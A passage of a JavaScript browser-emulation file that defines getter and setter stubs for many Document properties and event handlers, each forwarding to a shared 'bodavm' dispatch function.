bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenEnabled_get", arguments)}, set:function fullscreenEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenEnabled_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "fullscreen", {configurable:true, enumerable:true, get:function fullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreen_get", arguments)}, set:function fullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreen_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onfullscreenchange", {configurable:true, enumerable:true, get:function onfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenchange_get", arguments)}, set:function onfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenchange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onfullscreenerror", {configurable:true, enumerable:true, get:function onfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenerror_get", arguments)}, set:function onfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenerror_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "webkitIsFullScreen", {configurable:true, enumerable:true, get:function webkitIsFullScreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitIsFullScreen_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "webkitCurrentFullScreenElement", {configurable:true, enumerable:true, get:function webkitCurrentFullScreenElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitCurrentFullScreenElement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "webkitFullscreenEnabled", {configurable:true, enumerable:true, get:function webkitFullscreenEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitFullscreenEnabled_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "webkitFullscreenElement", {configurable:true, enumerable:true, get:function webkitFullscreenElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitFullscreenElement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onwebkitfullscreenchange", {configurable:true, enumerable:true, get:function onwebkitfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenchange_get", arguments)}, set:function onwebkitfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenchange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onwebkitfullscreenerror", {configurable:true, enumerable:true, get:function onwebkitfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenerror_get", arguments)}, set:function onwebkitfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitfullscreenerror_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "rootElement", {configurable:true, enumerable:true, get:function rootElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "rootElement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "pictureInPictureEnabled", {configurable:true, enumerable:true, get:function pictureInPictureEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "pictureInPictureEnabled_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "pictureInPictureElement", {configurable:true, enumerable:true, get:function pictureInPictureElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "pictureInPictureElement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onbeforexrselect", {configurable:true, enumerable:true, get:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforexrselect_get", arguments)}, set:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforexrselect_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onabort_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onbeforeinput", {configurable:true, enumerable:true, get:function onbeforeinput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforeinput_get", arguments)}, set:function onbeforeinput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforeinput_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onblur", {configurable:true, enumerable:true, get:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onblur_get", arguments)}, set:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onblur_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncancel", {configurable:true, enumerable:true, get:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncancel_get", arguments)}, set:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncancel_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncanplay", {configurable:true, enumerable:true, get:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplay_get", arguments)}, set:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplay_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncanplaythrough", {configurable:true, enumerable:true, get:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplaythrough_get", arguments)}, set:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncanplaythrough_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onchange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onclick", {configurable:true, enumerable:true, get:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclick_get", arguments)}, set:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclick_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onclose_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncontextlost", {configurable:true, enumerable:true, get:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextlost_get", arguments)}, set:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextlost_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncontextmenu", {configurable:true, enumerable:true, get:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextmenu_get", arguments)}, set:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextmenu_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncontextrestored", {configurable:true, enumerable:true, get:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextrestored_get", arguments)}, set:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontextrestored_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncuechange", {configurable:true, enumerable:true, get:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncuechange_get", arguments)}, set:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncuechange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ondblclick", {configurable:true, enumerable:true, get:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondblclick_get", arguments)}, set:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondblclick_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ondrag", {configurable:true, enumerable:true, get:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrag_get", arguments)}, set:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrag_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ondragend", {configurable:true, enumerable:true, get:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragend_get", arguments)}, set:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragend_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ondragenter", {configurable:true, enumerable:true, get:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragenter_get", arguments)}, set:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragenter_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ondragleave", {configurable:true, enumerable:true, get:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragleave_get", arguments)}, set:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragleave_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ondragover", {configurable:true, enumerable:true, get:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragover_get", arguments)}, set:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragover_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ondragstart", {configurable:true, enumerable:true, get:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragstart_get", arguments)}, set:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondragstart_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ondrop", {configurable:true, enumerable:true, get:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrop_get", arguments)}, set:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondrop_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ondurationchange", {configurable:true, enumerable:true, get:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondurationchange_get", arguments)}, set:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondurationchange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onemptied", {configurable:true, enumerable:true, get:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onemptied_get", arguments)}, set:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onemptied_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onended", {configurable:true, enumerable:true, get:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onended_get", arguments)}, set:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onended_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onerror_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onfocus", {configurable:true, enumerable:true, get:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfocus_get", arguments)}, set:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfocus_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onformdata", {configurable:true, enumerable:true, get:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onformdata_get", arguments)}, set:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onformdata_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oninput", {configurable:true, enumerable:true, get:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninput_get", arguments)}, set:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninput_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oninvalid", {configurable:true, enumerable:true, get:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninvalid_get", arguments)}, set:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninvalid_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onkeydown", {configurable:true, enumerable:true, get:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeydown_get", arguments)}, set:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeydown_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onkeypress", {configurable:true, enumerable:true, get:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeypress_get", arguments)}, set:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeypress_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onkeyup", {configurable:true, enumerable:true, get:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeyup_get", arguments)}, set:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeyup_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onload_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onloadeddata", {configurable:true, enumerable:true, get:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadeddata_get", arguments)}, set:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadeddata_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onloadedmetadata", {configurable:true, enumerable:true, get:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadedmetadata_get", arguments)}, set:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadedmetadata_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onloadstart", {configurable:true, enumerable:true, get:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadstart_get", arguments)}, set:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadstart_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onmousedown", {configurable:true, enumerable:true, get:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousedown_get", arguments)}, set:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousedown_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onmouseenter", {configurable:true, enumerable:true, get:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseenter_get", arguments)}, set:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseenter_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onmouseleave", {configurable:true, enumerable:true, get:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseleave_get", arguments)}, set:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseleave_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onmousemove", {configurable:true, enumerable:true, get:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousemove_get", arguments)}, set:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousemove_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onmouseout", {configurable:true, enumerable:true, get:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseout_get", arguments)}, set:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseout_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onmouseover", {configurable:true, enumerable:true, get:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseover_get", arguments)}, set:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseover_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onmouseup", {configurable:true, enumerable:true, get:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseup_get", arguments)}, set:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseup_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onmousewheel", {configurable:true, enumerable:true, get:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousewheel_get", arguments)}, set:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousewheel_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpause", {configurable:true, enumerable:true, get:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpause_get", arguments)}, set:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpause_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onplay", {configurable:true, enumerable:true, get:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplay_get", arguments)}, set:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplay_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onplaying", {configurable:true, enumerable:true, get:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplaying_get", arguments)}, set:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplaying_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onprogress", {configurable:true, enumerable:true, get:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onprogress_get", arguments)}, set:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onprogress_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onratechange", {configurable:true, enumerable:true, get:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onratechange_get", arguments)}, set:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onratechange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onreset", {configurable:true, enumerable:true, get:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreset_get", arguments)}, set:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreset_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresize_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onscroll_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onsecuritypolicyviolation", {configurable:true, enumerable:true, get:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsecuritypolicyviolation_get", arguments)}, set:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsecuritypolicyviolation_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onseeked", {configurable:true, enumerable:true, get:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeked_get", arguments)}, set:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeked_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onseeking", {configurable:true, enumerable:true, get:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeking_get", arguments)}, set:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeking_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onselect", {configurable:true, enumerable:true, get:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselect_get", arguments)}, set:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselect_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onslotchange", {configurable:true, enumerable:true, get:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onslotchange_get", arguments)}, set:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onslotchange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onstalled", {configurable:true, enumerable:true, get:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onstalled_get", arguments)}, set:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onstalled_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onsubmit", {configurable:true, enumerable:true, get:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsubmit_get", arguments)}, set:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsubmit_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onsuspend", {configurable:true, enumerable:true, get:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsuspend_get", arguments)}, set:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsuspend_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ontimeupdate", {configurable:true, enumerable:true, get:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontimeupdate_get", arguments)}, set:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontimeupdate_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ontoggle", {configurable:true, enumerable:true, get:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontoggle_get", arguments)}, set:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontoggle_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onvolumechange", {configurable:true, enumerable:true, get:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvolumechange_get", arguments)}, set:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvolumechange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onwaiting", {configurable:true, enumerable:true, get:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwaiting_get", arguments)}, set:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwaiting_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onwebkitanimationend", {configurable:true, enumerable:true, get:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationend_get", arguments)}, set:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationend_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onwebkitanimationiteration", {configurable:true, enumerable:true, get:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationiteration_get", arguments)}, set:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationiteration_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onwebkitanimationstart", {configurable:true, enumerable:true, get:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationstart_get", 